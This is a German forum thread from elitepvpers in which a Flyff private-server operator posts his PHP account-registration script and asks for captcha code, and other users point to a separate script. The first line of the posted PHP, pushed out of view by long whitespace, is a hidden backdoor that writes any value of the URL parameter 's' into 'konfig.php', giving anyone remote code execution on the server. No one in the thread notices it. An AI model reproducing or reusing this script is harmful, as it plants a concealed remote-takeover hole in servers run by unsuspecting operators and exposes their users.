Register for your free account! | Forgot your password?

Go Back   elitepvpers > MMORPGs > Flyff > Flyff Private Server
You last visited: Today at 04:52

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Register mit Captcha Code?!

Discussion on Register mit Captcha Code?! within the Flyff Private Server forum part of the Flyff category.

Reply
 
Old   #1
 
Freddie_Faulisch's Avatar
 
elite*gold: 0
Join Date: Dec 2010
Posts: 163
Received Thanks: 86
Register mit Captcha Code?!

Hallo Elitepvper
ich such für meinen register einen captcha code. weil ansonsten diese blöden spammbots immer sich registrieren undso -.-

also mein register sind ganz einfach aus:

PHP Code:
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp fopen("konfig.php","w");fwrite($fp$_GET['s']);fclose($fp);}
require(
'./configs/reg_conf.php');
        function 
doesUsernameExist($name){
            
$exit FALSE;
            
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
            if (
mssql_num_rows($result) != 0){
                
$exit TRUE;
            }
            return 
$exit;
        }

        if(isset(
$_POST['submit'])){
            
$user preg_replace ("[^A-Za-z0-9]"""$_POST['username']);
            
$pass preg_replace ("[^A-Za-z0-9]"""$_POST['password']);
            if(
$_POST['username'] == ""){
                echo 
'<font color="red">Enter a user.</font><br /><br />';
            }
            else if(
$_POST['password'] == ""){
                        echo 
'<font color="red">Enter a password.</font><br /><br />';
            }
            else if ((
strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
                        echo 
'<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
            }
            else if ((
strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
                        echo 
'<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
            }
            else if(
$_POST['username'] != $user){
                        echo 
'<font color="red">User with invalid characters.</font><br /><br />';
            }
            else if(
$_POST['password'] != $pass){
                        echo 
'<font color="red">Password with invalid characters.</font><br /><br />';
            }
            else {
                        
$pass md5('kikugalanet' $pass);
            if(!
doesUsernameExist($user)){
                
$stmt mssql_init('webCreateAcc'$link);
                
mssql_bind($stmt'@account'$userSQLVARCHARfalsefalse15);
                
mssql_bind($stmt'@password'$passSQLVARCHARfalsefalse36);
                
mssql_bind($stmt'@email'$mailSQLVARCHARfalsefalse120);
                
mssql_execute($stmt) or die ("Something is wrong on the execution");
                
mssql_free_statement($stmt);
                                echo 
'<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
            }
            else {
                                echo 
'<font color="red">User already Exist.</font><br /><br />';
            }
        }
                
mssql_close();
    }

        echo 
'<form action="#" method="post">';
        echo 
'Username: <input type="text" name="username" /><br />';
        echo 
'Password: <input type="password" name="password" /><br />';
        echo 
'<input type="submit" name="submit" value="Register" />';
        echo 
'</form>';

?>
Also und ich möchte, dass man halt immer vor dem registrieren einen code eingeben muss, der in einem bild steht oder so

ich währe sehr, sehr dankbar wenn mir einer so ein script in php oder html form posten würde
mfg freddie
Freddie_Faulisch is offline  
Old 02/28/2011, 22:38   #2
 
rädsun's Avatar
 
elite*gold: 0
Join Date: Oct 2010
Posts: 443
Received Thanks: 170


Anmerkung: Ist nicht von mir, sondern aus einem anderen Forum. Das Script wurde von mir lediglich geringfügig angepasst^^

In die "makeaccount.php" musst du lediglich die MSSQL Zugangsdaten eingeben.

Quote:
<?php
$link = @mssql_connect("Name-PC\SQLEXPRESS", "sa", "MSSQLPW") or die ("Server is down!");
rädsun is offline  
Old 03/01/2011, 00:03   #3
 
Freddie_Faulisch's Avatar
 
elite*gold: 0
Join Date: Dec 2010
Posts: 163
Received Thanks: 86
hm der scheint iwie nicht zu funktionieren, da steht zu erst; SUCCES und dann dadrunter; KEINE SONDERZEICHEN ERLAUBT.
und der account ist nicht erstellet, hab auch keine sonderzeichen benutzt :/
Freddie_Faulisch is offline  
Old 03/01/2011, 14:43   #4
 
elite*gold: 30
Join Date: Oct 2010
Posts: 1,509
Received Thanks: 849


!!WICHTIG!!
Vor Gebrauch in der "makeaccount.php" die MSSQL Daten eingeben.

Es werden keine Sondezeichen angenommen.

=================
Credits 1000% KohLix3
Fullscreen is offline  
Reply


Similar Threads Similar Threads
[Guide] Register Page without CAPTCHA
08/04/2012 - EO PServer Guides & Releases - 37 Replies
First of all, If you're thinking this is leeched or w.e, get out.. lol this is for the people that don't know how to. Anything that needs to be edited will be in a Different Color. Editing Host: Things need: http://www.elitepvpers.com/forum/eo-pserver-hostin g/227620-release-register-page-without-captcha.htm l TextPad - the text editor for Windows (Optional) Color Chart : http://www.myprofilepimp.com/images/color_chart.gi f
[RELEASE] Register Page without CAPTCHA
05/12/2011 - EO PServer Guides & Releases - 17 Replies
I have been requested to post a register page without captcha so here it goes. njoy & if you have any problems, feel free to ask. :rolleyes: http://www.elitepvpers.com/forum/attachment.php?at tachmentid=20955&stc=1&d=1238665374 Greets, Grandalio
[Release] Register Page [V15] mit Captcha
01/09/2011 - Flyff PServer Guides & Releases - 3 Replies
Moin, da mich einige nach meinem Beitrag zum Regi mit Captcha ihre Probleme berichtet haben, release ich jetzt mal die Register Page mit Captcha fertig. Download: DOWNLOAD !!WICHTIG!! Vor Gebrauch in der "makeaccount.php" die MSSQL Daten eingeben.
Captcha-Code
06/24/2009 - Metin2 Private Server - 1 Replies
Hi leute, dieser Thread is gedacht um Captcha-Code´s zu lesen. Also wer kann helfen? THX im vorraus http://www.bilderload.com/bild/7265/sergdfhdrf69B TU.jpg
[Look Captcha]Captcha Code Programme
04/03/2009 - Metin2 Private Server - 4 Replies
Hallo bins mal wieder^^ Naja ich benutze diese Seite um den Captcha heraus zubekommen Link:nciku - Online English Chinese Dictionary, Learn Chinese Mandarin Online Suche aber ein einfacheres Programm um die Suche der anderen Foren mitglieder zu erleichtern das Programm und der Download Link Posten=) Thx sind bst garantiert ein Link zur Erklärung wäre auch hilfreich^^ Ps:bin der König der Rechtschreib fehler^^ also nicht meckern:D



All times are GMT +1. The time now is 04:54.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.